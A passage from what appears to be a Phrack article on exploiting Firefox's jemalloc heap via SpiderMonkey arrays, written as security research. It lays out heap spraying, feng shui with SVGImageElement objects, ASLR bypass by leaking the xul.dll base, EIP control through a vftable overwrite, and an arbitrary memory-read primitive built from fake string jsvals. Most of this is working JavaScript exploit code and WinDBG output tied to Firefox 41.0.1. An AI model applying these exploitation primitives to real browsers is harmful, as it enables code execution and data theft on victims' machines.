We can control their size to multiples of 8 bytes, and also have partial control of their contents, both due to the IEEE-754 64-bit jsval representation we have seen. 2) We can easily and controllably spray with ArrayObjects from JavaScript. 3) We can move the sprayed ArrayObjects to the jemalloc-managed heap after we fill the nursery. Since arrays are jsobjects, when they grow bigger they behave according to the way I have already described in section 2.3. ----[ 5.1 - ArrayObjects inside ArrayObjects Therefore, we spray ArrayObjects as elements of a container ArrayObject; when the container becomes large enough, the elements (which are themselves ArrayObjects) are moved to the jemalloc heap and bring with them their contents and metadata. At js/src/gc/Marking.cpp we can see this in the method js::TenuringTracer::moveElementsToTenured() -- excuse the annotated with comments pseudocode, see the actual source for the full details: /* * nslots here is equal to the capacity of the ArrayObject plus 2 * (ObjectElements::VALUES_PER_HEADER). */ size_t nslots = ObjectElements::VALUES_PER_HEADER + srcHeader->capacity; ... if (src->is() && nslots <= GetGCKindSlots(dstKind)) { /* * If this is an ArrayObject and nslots is less or equal * to 16 (GetGCKindSlots(dstKind)) there is no new allocation. */ ... return nslots * sizeof(HeapSlot); } ... /* * Otherwise there is a new allocation of size nslots that * goes on the jemalloc heap, the elements are copied, and the * elements_ pointer is set. */ dstHeader = \ reinterpret_cast(zone->pod_malloc(nslots)); js_memcpy(dstHeader, srcHeader, nslots * sizeof(HeapSlot)); nursery().setElementsForwardingPointer(srcHeader, dstHeader, nslots); Let's revisit again the example from section 2.3 and present it in the context of moving ArrayObjects and their metadata to the jemalloc heap. ........................................................................... +-+ +-++-------+ +-----+ : |T| Temporary |A|| elems | ArrayObject | | Free : jemalloc | | object | || | + elements | | memory : +-----------+ +-+ +-++-------+ +-----+ : | +-------+ | ....................................................... : | | elems | | : | | | | Before minor GC : | +-------+ | --------------- : | ^ ^ | var A = new Array(); : | | | | +----+ : | | | | | var A[1] = new Array(); // a : | | | | | + +----------------+ | | Next free| | ... var A[15] = new Array(); // b | : | | | +---+ | | + | : | | | | | | | +---------------------+ : | | | v v v v | : | | | +-----------------------+ | +-----------------------+ : | | | |+-++-++-++-+ +-+ | |+-++-+ | : | | | ||T||T||A||a| ... |b|+-+ ||J||J| | : | | | || || || || | elems | | || || | | : | | | |+-++-++-++-+ +-+ |+-++-+ | : | | | +-----------------------+ +-----------------------+ : | | | Nursery + Tenured : | | | | : | | | | : | | | +------------+ : | | | | : | | | .....................................|................. : | | | | : | | | Next free | After minor GC : | | | +-----+ | -------------- : +-------|---+ | | : | v v : | +-----------------------+ +-----------------------+ : | | | |+-++-++-+ | : | | | ||J||J||A|+------------------------------+ | | || || || | | : elements_ pointer | | |+-++-++-+ | : +-----------------------+ +-----------------------+ : Nursery Tenured : ........................................................................... The above diagram describes what happens to the Firefox heaps when we run the following JavaScript code. We create a container ArrayObject; this is initially allocated on the nursery. This is A from above. var container = new Array(); As we add elements (ArrayObjects) to the container, a minor (nursery) garbage collection happens. We trigger this by filling the 16 MBs of the nursery with 66000 ArrayObjects of 30 elements each -- remember each element is 8 bytes (jsval), but the resulting ArrayObject of size 240 goes to the 256-sized jemalloc run (there are also the metadata). // 16777216 / 256 == 65536 var spray_size = 66000; The container ArrayObject (A) is moved from the nursery to the tenured heap. If (2 + capacity) >= 17, then each one of the ArrayObject elements of the container are re-allocated on the jemalloc heap. Since these are ArrayObjects, they have both contents and some metadata. The container remains on the tenured heap for the rest of its lifetime. for(var i = 0; i < spray_size; i++) { container[i] = new Array(); for(var j = 0; j < 30; j += 2) // 30 * 8 == 240 { container[i][j] = 0x45464645; container[i][j + 1] = 0x47484847; } } The careful reader would notice something here. The condition to move an object to the jemalloc heap depends on the object's capacity. This sets a limit to which jemalloc size categories can be used for our purpose, based on the object's initial capacity. If you dig SpiderMonkey's code you will find that an ArrayObject with an initlen of 1 (a[0] = "A" for example) has a capacity of 6. Therefore, to satisfy the moving condition we have to preclude some of the small jemalloc size categories. At this point let's use the shadow utility from within WinDBG to search the jemalloc heap for the content we have sprayed (edited for readability): 0:000> !py c:\\tmp\\pykd_driver jesearch -s 256 -c 45464645 [shadow] searching all current runs of size class 256 for 45464645 [shadow] found 45464645 at 0x141ad110 (run 0x141ad000, region 0x141ad100, region size 0256) [shadow] found 45464645 at 0x141ad120 (run 0x141ad000, region 0x141ad100, region size 0256) [shadow] found 45464645 at 0x141ad130 (run 0x141ad000, region 0x141ad100, region size 0256) 0:000> dd 141ad100 l?80 [ Metadata of a sprayed ArrayObject ] flags initlen capacity length 141ad100 00000000 0000001e 0000001e 0000001e [ Contents of the same sprayed ArrayObject ] 141ad110 45464645 ffffff81 47484847 ffffff81 141ad120 45464645 ffffff81 47484847 ffffff81 ... 141ad1e0 45464645 ffffff81 47484847 ffffff81 141ad1f0 45464645 ffffff81 47484847 ffffff81 [ Metadata of another sprayed ArrayObject] flags initlen capacity length 141ad200 00000000 0000001e 0000001e 0000001e [ and its data ] 141ad210 45464645 ffffff81 47484847 ffffff81 141ad220 45464645 ffffff81 47484847 ffffff81 0:000> !py c:\\tmp\\pykd_driver jeinfo 141ad200 [shadow] address 0x141ad200 ... [shadow] run 0x141ad000 is the current run of bin 0x00600608 [shadow] address 0x141ad200 belongs to region 0x141ad200 (size class 0256) We can see above that the ArrayObject elements of the container ArrayObject are indeed on the jemalloc heap and specifically on regions of size 256. Also, they are contiguous to each other. ----[ 5.2 - jemalloc feng shui Heap feng shui refers to the manipulation of a heap with the goal of carefully arranging it (with selected objects) towards aiding exploitation [FSJ]. Armed with the knowledge of the previous sections, we can now: 1) Move our ArrayObjects off the nursery and onto the jemalloc heap along with their metadata. 2) Poke holes in the jemalloc runs, and trigger a garbage collection to actually make these holes reclaimable by subsequent allocations. 3) Reclaim the holes (since jemalloc is LIFO) and create useful heap arrangements. Assuming we have a heap overflow vulnerability in a specific-sized DOM class, we can continue towards implementing our methodology. As an example, I will use a typical Firefox DOM class that has a vtable and can be allocated easily from JavaScript. Using shadow we can look for such a DOM class whose objects have a size of 256 bytes: 0:000> !py c:\\tmp\\pykd_driver symbol [shadow] usage: symbol [-vjdx] [shadow] options: [shadow] -v only class symbols with vtable [shadow] -j only symbols from SpiderMonkey [shadow] -d only DOM symbols [shadow] -x only non-SpiderMonkey symbols 0:000> !py c:\\tmp\\pykd_driver symbol -dv 256 [shadow] searching for DOM class symbols of size 256 with vtable ... [shadow] 0x100 (256) class mozilla::dom::SVGImageElement (vtable: yes) Continuing from where we left off in section 5.1, after spraying the jemalloc heap with ArrayObjects, we free every second allocation to create holes. We also trigger a garbage collection to make these holes reclaimable. for(var i = 0; i < spray_size; i += 2) { delete(container[i]); container[i] = null; container[i] = undefined; } var gc_ret = trigger_gc(); We fill these holes with the example vulnerable object we have identified above, i.e. mozilla::dom::SVGImageElement. Our assumption is that we have a controlled (or semi-controlled) heap overflow in some method of this class. We can trigger it either after the instantiation of each object, or after the allocation of all objects on a specific one. for(var i = 0; i < spray_size; i += 2) { // SVGImageElement is a 0x100-sized object container[i] = \ document.createElementNS("http://www.w3.org/2000/svg", "image"); // trigger the overflow bug here in all allocations, e.g.: // container[i].some_vulnerable_method(); } // or, trigger the overflow bug here in a specific one, e.g.: // container[1666].some_vulnerable_method(); Using shadow as before we can search for the controlled sprayed content of the ArrayObjects and make sure that our heap arrangement has succeeded; that is we have ArrayObjects and SVGImageElement objects one after the other contiguously on the jemalloc heap. The jerun command outputs a textual visualization of the regions of the requested run; their index, whether allocated (used) or not, address, and a 4-byte preview of the content. 0:000> !py c:\\tmp\\pykd_driver jerun 0x15b11000 [shadow] searching for run 0x15b11000 [shadow] [run 0x15b11000] [size 016384] [bin 0x00600608] [region size 0256] [total regions 0063] [free regions 0000] [shadow] [region 000] [used] [0x15b11100] [0x0] [shadow] [region 001] [used] [0x15b11200] [0x69e0cf70] [shadow] [region 002] [used] [0x15b11300] [0x0] [shadow] [region 003] [used] [0x15b11400] [0x69e0cf70] ... Above we can see that the region at 15b11100 is the first region of the run, that it is allocated (used), and that its first 4 bytes are zero, corresponding to the flags of the ArrayObject. The next region at 15b11200 has a first dword of 69e0cf70, which is SVGImageElement's vftable pointer. Let's examine in more detail: 0:000> dd 15b11100 l?80 [ Metadata of ArrayObject at region 000 ] flags initlen capacity length 15b11100 00000000 0000001e 0000001e 0000001e [ Contents of the ArrayObject ] 15b11110 45464645 ffffff81 47484847 ffffff81 15b11120 45464645 ffffff81 47484847 ffffff81 ... 15b111d0 45464645 ffffff81 47484847 ffffff81 15b111e0 45464645 ffffff81 47484847 ffffff81 15b111f0 45464645 ffffff81 47484847 ffffff81 [ SVGImageElement object at region 001 ] 15b11200 69e0cf70 69e0eba0 1a590ea0 00000000 15b11210 11bfc830 00000000 00020008 00000000 15b11220 00000000 00000000 15b11200 00000000 15b11230 00000007 00000000 00090000 00000000 15b11240 69e0d1f4 00000000 00000000 00000000 15b11250 00000000 00000000 69e0bd38 00000000 ... [ The next ArrayObject starts here, region 002] flags initlen capacity length 15b11300 00000000 0000001e 0000001e 0000001e 15b11310 45464645 ffffff81 47484847 ffffff81 15b11320 45464645 ffffff81 47484847 ffffff81 ... [ The SVGImageElement object at region 003 ] 15b11400 69e0cf70 69e0eba0 1a590ea0 00000000 ... 0:000> dds 15b11200 15b11200 69e0cf70 xul!mozilla::dom::SVGImageElement::`vftable' We have indeed managed to arrange the heap the way we wanted. The next step is to search for the ArrayObject whose metadata we have corrupted via the assumed SVGImageElement overflow bug. The following code snippet assumes that we have overwritten all the metadata (16 bytes) and have used 0x666 as the new value for initlen, capacity and length. var pwned_index = 0; for(var i = 0; i < spray_size; i += 2) { if(container[i].length > 500) { var pwnstr = "[*] corrupted array found at index: " + i; log(pwnstr); pwned_index = i; break; } } Our corrupted ArrayObject now allows us to index the corresponding JavaScript array beyond its end, and into the neighboring SVGImageElement object. Since we have sprayed arrays of length 30 (0x1e), we can index into the first 8 bytes of the SVGImageElement object as a jsval of type double at index 30 (since at index 29 is the last element of the array). 0:000> dd 15b11300 l?80 [ Corrupted metadata of an ArrayObject ] flags initlen capacity length 15b11300 00000000 00000666 00000666 00000666 [ index 0 ] [ index 1 ] 15b11310 45464645 ffffff81 47484847 ffffff81 [ index 2 ] [ index 3 ] 15b11320 45464645 ffffff81 47484847 ffffff81 ... 15b113c0 45464645 ffffff81 47484847 ffffff81 15b113e0 45464645 ffffff81 47484847 ffffff81 [ index 28 ] [ index 29 ] 15b113f0 45464645 ffffff81 47484847 ffffff81 [ index 30 ] [ index 31 ] 15b11400 69e0cf70 69e0eba0 1a590ea0 00000000 15b11410 11bfc830 00000000 00020008 00000000 [ index 35 ] 15b11420 00000000 00000000 15b11400 00000000 15b11430 00000007 00000000 00090000 00000000 ... 15b114e0 e4000201 00000000 00000000 e4010301 15b114f0 06000106 00000001 00000000 e5e50000 0:000> g [*] corrupted array found at index: 31147 ----[ 5.3 - xul.dll base leak and our location in memory We can read from index 30 above, but remember that because we are using an array to do so, the two 32-bit values there are going to be treated as a double jsval (since the one 32-bit value that corresponds to the type of the 64-bit jsval is less than 0xFFFFFF80). Therefore, we need to implement two helper functions; one to read the 64-bit value as a double and convert it to the corresponding raw bytes (named double_to_bytes()), and one to convert the raw bytes to their hexadecimal representation (named bytes_to_hex()). Reading from index 30 gives us a vftable pointer of SVGImageElement and we simply need to subtract from it the known non-ASLRed pointer from xul.dll. var val_hex = \ bytes_to_hex(double_to_bytes(container[pwned_index][30])); var known_xul_addr = 0x121deba0; // 41.0.1 specific var leaked_xul_addr = parseInt(val_hex[1], 16); var aslr_offset = leaked_xul_addr - known_xul_addr; var xul_base = 0x10000000 + aslr_offset; var val_str = \ "[*] leaked xul.dll base address: 0x" + xul_base.toString(16); log(val_str); In the SVGImageElement object at address 15b11428 above, indexed with our corrupted array at index 35, there is a pointer to the start of the object itself (15b11400). Such pointers exist in most (if not all, I haven't checked them all automatically) Firefox DOM objects for garbage collection purposes. By leaking this address from index 35 of our corrupted array, we can learn the location of all these objects in the jemalloc heap. This can be very helpful for creating fake but valid objects (as we will doing in the sections below). val_hex = \ bytes_to_hex(double_to_bytes(container[pwned_index][35])); val_str = "[*] victim SVGImageElement object is at: 0x" + val_hex[0]; log(val_str); Again we use the two helper functions for reading double jsvals and converting them to hexadecimal. In WinDBG the output is (edited for readability): 0:000> g [*] corrupted array found at index: 31147 [*] leaked xul.dll base address: 0x67c30000 [*] victim SVGImageElement object is at: 0x15b11400 Breakpoint 0 hit eax=002cf801 ebx=1160b8b0 ecx=00000001 edx=00000002 esi=697f1386 edi=00000000 eip=697f1386 esp=0038cce0 ebp=0038cd6c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 xul!js::math_asin: 697f1386 push ebp 0:000> lm m xul start end module name 67c30000 6a162000 xul Indeed we can verify with WinDBG's lm command that we have leaked the base of xul.dll correctly. Also we now know the address of our victim SVGImageElement object. The complete code for this is in file 'svg-leak.html' in the archive. ----[ 5.4 - EIP control Our corrupted ArrayObject can of course also be used for writing memory. In order to get EIP control, we can simply overwrite a vftable pointer of the SVGImageElement object and then call one of its methods. The exact values we have to add to or subtract from the leaked SVGImageElement object address depend on the method we are calling (and the version of xul.dll). var obj_addr = \ parseInt(val_hex[0], 16); // our location in memory, see above var deref_addr = obj_addr - 0x1f4 + 0x4; // 41.0.1 specific var target_eip = "41424344"; var write_val_bytes = \ hex_to_bytes(target_eip + deref_addr.toString(16)); var write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][30] = write_val_double; log("[*] calling a method of the corrupted SVGImageElement object"); for(var i = 0; i < spray_size; i += 2) { container[i].setAttribute("height", "100"); } Since we don't know the exact index of SVGImageElement object we have corrupted, we call a method of all the objects we have sprayed. After we have overwritten SVGImageElement's vftable, in WinDBG the situation looks like the following: 0:000> dd 15b11300 l?80 [ Corrupted metadata of an ArrayObject ] flags initlen capacity length 15b11300 00000000 00000666 00000666 00000666 [ index 0 ] [ index 1 ] 15b11310 45464645 ffffff81 47484847 ffffff81 [ index 2 ] [ index 3 ] 15b11320 45464645 ffffff81 47484847 ffffff81 ... 15b113c0 45464645 ffffff81 47484847 ffffff81 15b113e0 45464645 ffffff81 47484847 ffffff81 [ index 28 ] [ index 29 ] 15b113f0 45464645 ffffff81 47484847 ffffff81 [ index 30 ] [ index 31 ] 15b11400 15b11210 41424344 1a590ea0 00000000 15b11410 11bfc830 00000000 00020008 00000000 [ index 35 ] 15b11420 00000000 00000000 15b11400 00000000 15b11430 00000007 00000000 00090000 00000000 ... 15b114e0 e4000201 00000000 00000000 e4010301 15b114f0 06000106 00000001 00000000 e5e50000 0:000> g [*] calling a method of the corrupted SVGImageElement object (1084.a60): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=15b11210 ebx=00000001 ecx=15b11400 edx=00000006 esi=1160b8b0 edi=15b11400 eip=41424344 esp=0032d2f0 ebp=0032d520 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41424344 je 41424346 [br=1] We have EIP control, know the base of xul.dll, and can place arbitrary content on the heap at known addresses, therefore it is quite simple at this point to ROP our way to whatever makes us happy. See the file 'svg-eip-control.html' for the complete code. ----[ 5.5 - Arbitrary memory leak Although we have achieved total control over the Firefox process, let's look at something that requires more fine-grained control over the jemalloc heap. To demonstrate how jemalloc can be manipulated in detail, I will be describing how we can achieve the ability to read any number of bytes from any address we choose, i.e. an arbitrary memory leak. For this purpose I will be using a constructed (i.e. fake) non-inline string. In order to be able to read back from this fake string, I will also need to create a fake string-type jsval that points to the fake non-inline string, and index this jsval via the corrupted ArrayObject. The problem with this approach is that the corrupted ArrayObject cannot be used to write a fake string-type jsval (or any other jsval); remember that there is no IEEE-754 64-bit double that corresponds to a 32-bit encoded value greater than 0xFFF00000. This is required since in order to create a fake jsval string we need to write ffffff85 as its tag value (see the discussion on strings in section 2.1 if you are confused at this point). So, we need to find another way to construct a fake string-type jsval in controlled memory. What we can use is the reliability and the LIFO operation of jemalloc to create a more complex heap arrangement that will help us solve this problem. Specifically, I will add typed arrays to the methodology to utilize their fully controlled content. Although, as we have seen, I cannot place the metadata of a typed array in memory reachable by user-controlled data, the actual data of a typed array (which are controlled to byte granularity) can be placed on jemalloc runs. We start by spraying with ArrayObjects the 256-sized jemalloc runs. Again, we have to bypass the nursery and move our objects to jemalloc, so the size of our spray is 16777216 / 256 == 65536 arrays. var spray_size = 66000; var container = new Array(); for(var i = 0; i < spray_size; i++) { container[i] = new Array(); for(var j = 0; j < 30; j += 2) // 30 * 8 == 240 bytes { container[i][j] = 0x45464645; container[i][j + 1] = 0x47484847; } } This time, instead of creating a hole every other allocation, we create two holes for every ArrayObject we leave on the jemalloc heap. We also trigger a GC to make the holes reclaimable. for(var i = 0; i < spray_size; i += 3) { delete(container[i]); container[i] = null; container[i] = undefined; delete(container[i + 1]); container[i + 1] = null; container[i + 1] = undefined; } var gc_ret = trigger_gc(); Let's assume at this point that we have a breakpoint and look at how the jemalloc 256-sized runs look like: 0:043> !py c:\tmp\pykd_driver jeruns -s 256 [shadow] listing allocated non-current runs for size class 256 [shadow] [total non-current runs 446] [shadow] [run 0x0e507000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0000] ... [shadow] [run 0x11d03000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f09000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f0d000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f11000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f19000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] ... Looking at one of these runs (in random) with shadow we see: 0:000> !py c:\tmp\pykd_driver jerun 0x15f15000 [shadow] searching for run 0x15f15000 [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [region 000] [free] [0x15f15100] [0xe5e5e5e5] [shadow] [region 001] [free] [0x15f15200] [0xe5e5e5e5] [shadow] [region 002] [used] [0x15f15300] [0x0] [shadow] [region 003] [free] [0x15f15400] [0xe5e5e5e5] [shadow] [region 004] [free] [0x15f15500] [0xe5e5e5e5] [shadow] [region 005] [used] [0x15f15600] [0x0] [shadow] [region 006] [free] [0x15f15700] [0xe5e5e5e5] [shadow] [region 007] [free] [0x15f15800] [0xe5e5e5e5] [shadow] [region 008] [used] [0x15f15900] [0x0] [shadow] [region 009] [free] [0x15f15a00] [0xe5e5e5e5] [shadow] [region 010] [free] [0x15f15b00] [0xe5e5e5e5] ... Our hole punching has worked. Remember that e5e5e5e5 is the value used by Firefox for the sanitization of freed jemalloc regions. The used regions with the value 0x0 as their first dword are the ArrayObjects we have left on the heap. We now reclaim these holes on the jemalloc heap with one SVGImageElement object and one Uint32Array typed array after each ArrayObject. We make sure the content of this typed array is of size 256 bytes so it goes on the jemalloc run we are targeting. At this point the actual content of the typed array doesn't matter. for(var i = 0; i < spray_size; i += 3) { container[i] = \ document.createElementNS("http://www.w3.org/2000/svg", "image"); container[i + 1] = new Uint32Array(64); for(var j = 0; j < 64; j++) // 64 * 4 == 256 { container[i + 1][j] = 0x51575751; } } Now, the same run from above looks like: 0:000> !py c:\tmp\pykd_driver jerun 0x15f15000 [shadow] searching for run 0x15f15000 [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0000] [shadow] [region 000] [used] [0x15f15100] [0x69e0cf70] [shadow] [region 001] [used] [0x15f15200] [0x51575751] [shadow] [region 002] [used] [0x15f15300] [0x0] [shadow] [region 003] [used] [0x15f15400] [0x69e0cf70] [shadow] [region 004] [used] [0x15f15500] [0x51575751] [shadow] [region 005] [used] [0x15f15600] [0x0] [shadow] [region 006] [used] [0x15f15700] [0x69e0cf70] [shadow] [region 007] [used] [0x15f15800] [0x51575751] [shadow] [region 008] [used] [0x15f15900] [0x0] [shadow] [region 009] [used] [0x15f15a00] [0x69e0cf70] [shadow] [region 010] [used] [0x15f15b00] [0x51575751] ... [shadow] [region 014] [used] [0x15f15f00] [0x0] [shadow] [region 015] [used] [0x15f16000] [0x69e0cf70] [shadow] [region 016] [used] [0x15f16100] [0x51575751] 0:000> dd 0x15f15f00 l?90 [ ArrayObject ] 15f15f00 00000000 0000001e 0000001e 0000001e 15f15f10 45464645 ffffff81 47484847 ffffff81 15f15f20 45464645 ffffff81 47484847 ffffff81 15f15f30 45464645 ffffff81 47484847 ffffff81 15f15f40 45464645 ffffff81 47484847 ffffff81 15f15f50 45464645 ffffff81 47484847 ffffff81 15f15f60 45464645 ffffff81 47484847 ffffff81 15f15f70 45464645 ffffff81 47484847 ffffff81 15f15f80 45464645 ffffff81 47484847 ffffff81 15f15f90 45464645 ffffff81 47484847 ffffff81 15f15fa0 45464645 ffffff81 47484847 ffffff81 15f15fb0 45464645 ffffff81 47484847 ffffff81 15f15fc0 45464645 ffffff81 47484847 ffffff81 15f15fd0 45464645 ffffff81 47484847 ffffff81 15f15fe0 45464645 ffffff81 47484847 ffffff81 15f15ff0 45464645 ffffff81 47484847 ffffff81 [ SVGImageElement ] 15f16000 69e0cf70 69e0eba0 1652da20 00000000 15f16010 0d863c90 00000000 00020008 00000000 15f16020 00000000 00000000 15f16000 00000000 15f16030 00000007 00000000 00090000 00000000 15f16040 69e0d1f4 00000000 00000000 00000000 15f16050 00000000 00000000 69e0bd38 00000000 15f16060 69f680d4 e5e50000 69f680d4 e5e50000 15f16070 69f680d4 e5e50100 00000000 e5e5e5e5 15f16080 69e0c9d8 69e0c24c 00000000 00000000 15f16090 00000000 00000000 00000000 00000000 15f160a0 00000000 e5e5e5e5 00000000 00000000 15f160b0 00890001 e5000000 00000000 e5e5e5e5 15f160c0 00000000 00000000 e4000001 00000000 15f160d0 00000000 e4010101 00000000 00000000 15f160e0 e4000201 00000000 00000000 e4010301 15f160f0 06000106 00000001 00000000 e5e50000 [ Uint32Array contents ] 15f16100 51575751 51575751 51575751 51575751 15f16110 51575751 51575751 51575751 51575751 15f16120 51575751 51575751 51575751 51575751 15f16130 51575751 51575751 51575751 51575751 ... We have managed to create the arrangement we require; we have one ArrayObject (with its metadata and jsval contents), followed by an SVGImageElement object, followed by the contents of a Uint32Array. If we look at some other runs (of our targeted size, 256) we may see that in some of them the arrangement has not succeeded. That is the ArrayObject is followed by a Uint32Array, which is then followed by an SVGImageElement object. This happens sometimes, but it doesn't really affect us. As long as there is one run on which our arrangement has worked, our methodology can be applied. Below I will explain why some runs with incorrect arrangement do not pose a problem; just keep it in mind in case you have seen it with shadow and you are wondering. Next we proceed with triggering our assumed heap overflow bug in an SVGImageElement method. This allows us to overwrite data from the SVGImageElement object onto the ArrayObject we placed after it (and of course the in-between Uint32Array in this case). We then locate the pwned ArrayObject as we did in section 5.2, and use it to leak our location in memory as we did in 5.3 (see file 'arbitrary-leak.html' in the archive for the complete code). We can now focus on transforming our relative leak to an arbitrary leak. Since we know the address of the SVGImageElement object, we can calculate the address of the neighboring Uint32Array; it is 0x100 bytes after it. We can then create our fake string-type jsval at the beginning of every Uint32Array we have sprayed. This fake jsval will point 0x10 bytes after the start of the Uint32Array. There we will create a fake non-inline string with the arbitrary address we want to leak from. The JavaScript code for all these is the following: // this is the leaked address of the SVGImageElement object var obj_addr = parseInt(val_hex[0], 16); // where we will place our fake non-inline string var fake_jsstring_addr = obj_addr + 0x110; // create a fake string-type jsval at the start // of each sprayed Uint32Array object for(var i = 0; i < spray_size; i += 3) { container[i + 1][0] = fake_jsstring_addr; container[i + 1][1] = 0xffffff85; } // at obj_addr + 0x110, which corresponds to [64] and [65], // we create a fake non-inline string var read_len = "00000002"; // fake string size write_val_bytes = hex_to_bytes(read_len + "00000049"); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][64] = write_val_double; // we use the base of xul.dll as the arbitrary address to // read from, since we know that the first two bytes there // are "MZ" in ASCII var read_addr = xul_base.toString(16); write_val_bytes = hex_to_bytes("00000000" + read_addr); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][65] = write_val_double; // let's read from our fake string, it is at index [62] var leaked = "[*] leaked: " + container[pwned_index][62]; log(leaked); The actual objects in memory after the execution of the above code are: 0:000> dd 0x15f15f00 l?90 [ Our corrupted ArrayObject ] 15f15f00 00000000 00000666 00000666 00000666 15f15f10 45464645 ffffff81 47484847 ffffff81 15f15f20 45464645 ffffff81 47484847 ffffff81 15f15f30 45464645 ffffff81 47484847 ffffff81 15f15f40 45464645 ffffff81 47484847 ffffff81 15f15f50 45464645 ffffff81 47484847 ffffff81 15f15f60 45464645 ffffff81 47484847 ffffff81 15f15f70 45464645 ffffff81 47484847 ffffff81 15f15f80 45464645 ffffff81 47484847 ffffff81 15f15f90 45464645 ffffff81 47484847 ffffff81 15f15fa0 45464645 ffffff81 47484847 ffffff81 15f15fb0 45464645 ffffff81 47484847 ffffff81 15f15fc0 45464645 ffffff81 47484847 ffffff81 15f15fd0 45464645 ffffff81 47484847 ffffff81 15f15fe0 45464645 ffffff81 47484847 ffffff81 15f15ff0 45464645 ffffff81 47484847 ffffff81 [ Our SVGImageElement object ] 15f16000 69e0cf70 69e0eba0 1652da20 00000000 15f16010 0d863c90 00000000 00020008 00000000 15f16020 00000000 00000000 15f16000 00000000 15f16030 00000007 00000000 00090000 00000000 15f16040 69e0d1f4 00000000 00000000 00000000 15f16050 00000000 00000000 69e0bd38 00000000 15f16060 69f680d4 e5e50000 69f680d4 e5e50000 15f16070 69f680d4 e5e50100 00000000 e5e5e5e5 15f16080 69e0c9d8 69e0c24c 00000000 00000000 15f16090 00000000 00000000 00000000 00000000 15f160a0 00000000 e5e5e5e5 00000000 00000000 15f160b0 00890001 e5000000 00000000 e5e5e5e5 15f160c0 00000000 00000000 e4000001 00000000 15f160d0 00000000 e4010101 00000000 00000000 15f160e0 e4000201 00000000 00000000 e4010301 15f160f0 06000106 00000001 00000000 e5e50000 [ The contents of our Uint32Array ] [ string jsval ] 15f16100 15f16110 ffffff85 51575751 51575751 [ fake non-inline string ] [ size ] [ addr ] 15f16110 00000049 00000002 67c30000 00000000 15f16120 51575751 51575751 51575751 51575751 15f16130 51575751 51575751 51575751 51575751 The output in WinDBG is: [*] corrupted array found at index: 25649 [*] leaked xul.dll base address: 0x67c30000 [*] victim SVGImageElement object is at: 0x15f16000 [*] leaked: MZ Since we used the address of the base of xul.dll (we previously leakd) as the arbitrary address to leak from, we get back "MZ" as we expected. At this point it should be clear why it doesn't matter if the heap arrangement didn't succeed in some jemalloc runs. We can keep trying to leak via our fake string jsvals that we placed in the beginning of all sprayed Uint32Arrays. We will only get back the expected "MZ" value from a jsval on a run that the heap arrangement succeeded. On runs that the arrangement didn't work (that is the Uint32Array is before the SVGImageElement object), trying to access index 62 (where we expect our fake string jsval to be) would simply return a double due to the two dwords there being interpreted as an IEEE-754 jsval without a tag. This doesn't attempt to do dereference anything, therefore no crash can happen. When we finally get back the "MZ" value, we can re-use our fake string jsval to leak from whatever address we want. // now we can re-use the fake string-type jsval // to leak from another location read_addr = "cafebabe"; // crash to demonstrate write_val_bytes = hex_to_bytes("00000000" + read_addr); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][65] = write_val_double; leaked = "[*] leaked: " + container[pwned_index][62]; log(leaked); Our Uint32Array now looks like: [ The contents of our Uint32Array ] [ string jsval ] 15f16100 15f16110 ffffff85 51575751 51575751 [ fake non-inline string ] [ size ] [ addr ] 15f16110 00000049 00000002 cafebabe 00000000 15f16120 51575751 51575751 51575751 51575751 15f16130 51575751 51575751 51575751 51575751 Trying to read from address cafebabe leads of course to a crash (just to demonstrate): 0:000> g (858.f68): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=cafebac0 ebx=00000000 ecx=133bb7f4 edx=00000000 esi=00000002 edi=133bb7e0 eip=67df0192 esp=003ad120 ebp=cafebabe iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 xul!js::ConcatStrings<0>+0x178: 67df0192 mov al,byte ptr [ebp] ss:002b:cafebabe=?? We finally have a re-usable arbitrary leak primitive and we also know the base of xul.dll. We can dynamically search for ROP gadgets and construct our ROP chain at exploit runtime in JavaScript. ----[ 5.6 - Use-after-free bugs Exploiting use-after-free bugs with the presented methodology is a matter of reclaiming the jemalloc region left by the freed object with a typed array (Uint32Array). Then we use the fake object's methods to overwrite the metadata of a neighboring sprayed ArrayObject, and we apply the given methodology. --[ 6 - Conclusion Greetz and thankz to the Phrack Staff for bugging me to write this and for their very helpful review ;) The Immunity team during my dry run for Infiltrate also provided insightful comments. Finally, bro sups to huku, nemo, the CENSUS crew and all the !fapperz. --[ 7 - References [INF] OR'LYEH? The Shadow over Firefox - http://web.archive.org/web/20150403070544/http://infiltratecon.com/ speakers.html#firefox [JSV] JS::Value - https://developer.mozilla.org/en-US/docs/Mozilla/Projects/ SpiderMonkey/JSAPI_Reference/JS::Value [IFP] IEEE Standard for Floating-Point Arithmetic (IEEE-754) - http://en.wikipedia.org/wiki/IEEE_floating_point [JSO] JSObject - https://developer.mozilla.org/en-US/docs/Mozilla/Projects/ SpiderMonkey/JSAPI_reference/JSObject [P2O] Advanced Exploitation of Mozilla Firefox Use-After-Free Vulnerability (Pwn2Own 2014) - http://www.vupen.com/blog/ 20140520.Advanced_Exploitation_Firefox_UaF_Pwn2Own_2014.php [REN] XSS and Beyond - https://www.owasp.org/images/c/c3/20140617-XSS_and_beyond-Rene.pdf [F32] Firefox Release 32.0 